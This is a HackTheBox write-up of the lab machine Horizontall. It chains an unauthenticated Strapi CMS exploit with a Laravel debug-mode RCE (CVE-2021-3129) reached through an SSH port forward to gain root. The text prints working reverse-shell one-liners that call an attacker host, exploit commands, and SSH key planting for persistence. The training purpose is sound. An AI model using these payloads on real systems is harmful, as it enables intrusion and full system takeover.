HTB: Horizontall Writeup
Horizontall - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Horizontall |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 3 February 2022 |
| IP Address | 10.10.11.105 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Horizontall is an easy Linux machine featuring a Vue.js frontend that leaks a virtual host via source code inspection. The discovered Strapi Headless CMS instance is vulnerable to unauthenticated remote code execution through two chained CVEs (CVE-2019-18818 and CVE-2019-19609), granting initial foothold as the strapi user. Lateral enumeration reveals a Laravel application running on localhost in debug mode, vulnerable to CVE-2021-3129, leading to remote code execution as root via SSH port forwarding.
TL;DR: Source code review → Strapi RCE → SSH tunneling → Laravel debug RCE → root
Reconnaissance
Port Scanning
# Initial fast scanports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.11.105Results:
- Port 22/tcp - SSH (OpenSSH)
- Port 80/tcp - HTTP (Nginx)
Service Enumeration
HTTP (Port 80):
Initial access to port 80 redirects to http://horizontall.htb, requiring hosts file modification:
echo "10.10.11.105 horizontall.htb" | sudo tee -a /etc/hostsThe website is a Single Page Application (SPA) built with Vue.js. Inspecting the network requests and beautifying the JavaScript file app.c68eb462.js reveals an interesting GET request:
getReviews: function() { var t = this; r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) { return t.reviews = s.data }}A new virtual host is discovered: api-prod.horizontall.htb
API Virtual Host Enumeration:
echo "10.10.11.105 api-prod.horizontall.htb" | sudo tee -a /etc/hostsVisiting http://api-prod.horizontall.htb returns a simple welcome message. Directory brute-forcing is needed:
gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o gobuster -t 50The /admin directory reveals a Strapi CMS administrative panel—an open-source Node.js Headless CMS.
Vulnerability Assessment
Identified Vulnerabilities:
-
CVE-2019-18818 + CVE-2019-19609 - Strapi ≤3.0.0-beta.17.4 unauthenticated RCE
- Password reset endpoint accessible without authentication
- Plugin installation endpoint allows arbitrary code execution
-
CVE-2021-3129 - Laravel ≤8.4.2 debug mode RCE (discovered during privilege escalation)
Initial Foothold
Exploitation Path
Step 1: Identify Strapi Version
curl http://api-prod.horizontall.htb/admin/initResponse confirms version 3.0.0-beta.17.4, matching known vulnerable version.
Step 2: Obtain Public Exploit
searchsploit strapi 3.0.0searchsploit -m 50239.pyThe exploit leverages two CVEs:
- CVE-2019-18818: Reset admin password via
/admin/auth/reset-passwordendpoint (bypasses authentication) - CVE-2019-19609: Execute arbitrary code via plugin installation endpoint
Step 3: Execute RCE Exploit
python3 50239.py http://api-prod.horizontall.htbThe script automatically:
- Resets admin password to
SuperStrongPassword1 - Authenticates and obtains JWT token
- Provides interactive shell for command execution
Step 4: Obtain Reverse Shell
Set up netcat listener on attack machine:
nc -lvnp 9001Execute reverse shell through the exploit terminal:
$> bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'Receive connection as strapi user.
Step 5: Stabilize Shell
script /dev/null -c bash# Press Ctrl+Zstty raw -echo; fg# Press Enter twiceStep 6: Establish SSH Access (Optional but Recommended)
Create SSH directory:
mkdir -p /opt/strapi/.sshOn attack machine, generate key pair:
ssh-keygen -t rsa -f strapi -N ""Copy public key to remote:
cat strapi.pub | tee /opt/strapi/.ssh/authorized_keysConnect via SSH for stable session:
ssh -i strapi strapi@horizontall.htbPrivilege Escalation
Enumeration of Local Services
From within the strapi user shell, identify services listening on localhost:
netstat -tuln | grep LISTEN# orss -tuln | grep LISTENDiscovery:
- Port 3306 (MySQL)
- Port 1337 (Strapi - already known)
- Port 8000 (Unknown service)
Verify port 8000:
curl http://localhost:8000Response indicates Laravel framework running on this port. This service was not visible during initial external reconnaissance.
SSH Port Forwarding
Forward local port to access the hidden Laravel instance:
ssh -i strapi -L 8000:localhost:8000 strapi@horizontall.htbNow accessible at http://localhost:8000 from attack machine.
Laravel Version Detection
Visiting http://localhost:8000/profiles triggers an error page revealing:
Laravel v8 (PHP v7.4.18) - Debug Mode EnabledLaravel RCE Exploitation (CVE-2021-3129)
Laravel ≤8.4.2 running in debug mode is vulnerable to RCE. Clone PoC:
git clone https://github.com/nth347/CVE-2021-3129_exploit.gitcd CVE-2021-3129_exploitchmod +x exploit.pySet up listener on attack machine:
nc -lvnp 9001Execute exploit with reverse shell payload:
./exploit.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 9001 >/tmp/f'Receive reverse shell as root user.
Read root flag:
cat /root/root.txtAttack Chain Summary
Source Code Review (Vue.js JS files) ↓Virtual Host Discovery (api-prod.horizontall.htb) ↓Strapi CMS Identification ↓CVE-2019-18818 Password Reset (unauthenticated) ↓CVE-2019-19609 Plugin RCE (authenticated) ↓Initial Foothold (strapi user) ↓SSH Key Setup ↓Local Service Enumeration (port 8000) ↓SSH Port Forwarding ↓Laravel Instance Discovery ↓CVE-2021-3129 Debug Mode RCE ↓Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service detection |
curl | Manual HTTP requests and version checking |
gobuster | Directory brute-forcing |
searchsploit | CVE database and exploit discovery |
python3 | Exploit execution (Strapi RCE) |
nc (netcat) | Reverse shell listener |
ssh | Secure shell and port forwarding |
git | Cloning exploit repositories |
Key Learnings
Techniques Practiced
- JavaScript source code review for information disclosure
- Virtual host discovery and enumeration
- Chained CVE exploitation (multi-stage attack)
- SSH port forwarding for accessing hidden services
- Framework-specific vulnerability identification
- Reverse shell payload crafting and stabilization
- Debug mode exploitation in production environments
Lessons Learned
-
Always inspect frontend source code - Client-side JavaScript often contains sensitive endpoints, API URLs, and configuration details not immediately visible in rendered HTML.
-
Enumerate hidden services on localhost - Many developers expose internal services only on localhost, assuming they are safe. These must be enumerated during privilege escalation reconnaissance.
-
SSH port forwarding is powerful - Combining SSH access with port forwarding allows attacking services that are not externally exposed, enabling lateral movement and privilege escalation.
-
Framework versions matter critically - Security vulnerabilities in popular frameworks (Laravel, Strapi, etc.) are well-documented and easily exploitable. Always identify and assess framework versions during reconnaissance.
-
Debug mode is dangerous in production - Running web frameworks in debug mode on production systems can leak sensitive information and provide direct paths to code execution.
-
Chained CVE exploitation - Multiple lesser vulnerabilities can be combined to achieve impact. CVE-2019-18818 alone is useless without CVE-2019-19609, but together they enable full RCE.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>